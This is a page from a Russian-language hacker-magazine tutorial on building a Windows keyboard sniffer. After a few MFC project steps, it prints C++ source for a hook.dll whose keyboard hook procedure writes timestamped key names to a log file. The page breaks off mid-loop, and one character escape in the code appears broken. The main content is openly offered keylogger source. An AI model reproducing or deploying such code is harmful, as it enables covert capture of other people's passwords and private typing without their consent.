Высший пилотаж - пишем клавиатурный shiffer

Спецвыпуск Хакер, номер #004, стр. 004-074-4

ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon)

Теперь EXE'ник полностью готов. Осталось только изменить About Box и перерисовать стандартную иконку. Для первого надо во вкладке Resource, окно проекта в ветке Dialog дважды щелкнуть элемент IDD_ABOUTBOX. В появившемся окне можно добавить текст со своим именем и копирайтом. Эта часть работы для самых скромных.

Компиль прогу (F7) и переходи к следующей части.

Часть пятая, или делаем DLL-часть проги

Чтобы сварганить DLL'ник, надо создать новый проект. В File->New надо выбрать вкладку Projects и тип проекта Win32 Dynamic-Link Library (10.jpg). Далее назвать проект "Hook", так как предполагается, что на выходе будет файл hook.dll. Нажимай OK и в окне визарда выбери A simple DLL project (11.jpg). Когда проект сгенерится, понадобится изменить файлы hook.cpp и stdafx.h. Вот как они должны выглядеть.

Stdafx.h:

// stdafx.h : include file for standard system include files,

// or project specific include files that are used frequently, but

// are changed infrequently

//

#if !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)

#define AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Insert your headers here

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers

#include <windows.h>

#include <cstdio> // Эти три

#include <cstring> // строки надо

#include <ctime> // добавить!

// TODO: reference additional headers your program requires here

//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)

Hook.cpp:

// hook.cpp : Defines the entry point for the DLL application.

//

#include "stdafx.h"

HANDLE g_hMod;

TCHAR szLogName[256];

FILE* pFile;

HHOOK hhookKbd;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )

{

g_hMod = hModule;

return TRUE;

}

extern "C" {

__declspec(dllexport) void Release();

__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);

__declspec(dllexport) void Init(LPCTSTR szFile);

};

void Release()

{

UnhookWindowsHookEx(hhookKbd);

}

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)

{

if (nCode == HC_ACTION && !(lParam & 0x80000000))

{

if (!(*szLogName))

{

LPTSTR lpszPath = new TCHAR[256];

GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256);

strcpy(strrchr(lpszPath, '\') + 1, "logpath.txt");

FILE* pf = fopen(lpszPath, "r");

fscanf(pf, "%s", szLogName);

fclose(pf);

delete[] lpszPath;

}

pFile = fopen(szLogName, "a+");

time_t timer;

time(&timer);

char* p = ctime(&timer);

p[strlen(p) - 1] = 0;

TCHAR szKeyName[20];

GetKeyNameText(lParam, szKeyName, 19);

for (int i = 0; i < (lParam & 0x0000FFFF); i++)

Назад на стр. 004-074-3  Содержание  Вперед на стр. 004-074-5

ttfb: 11.977910995483 ms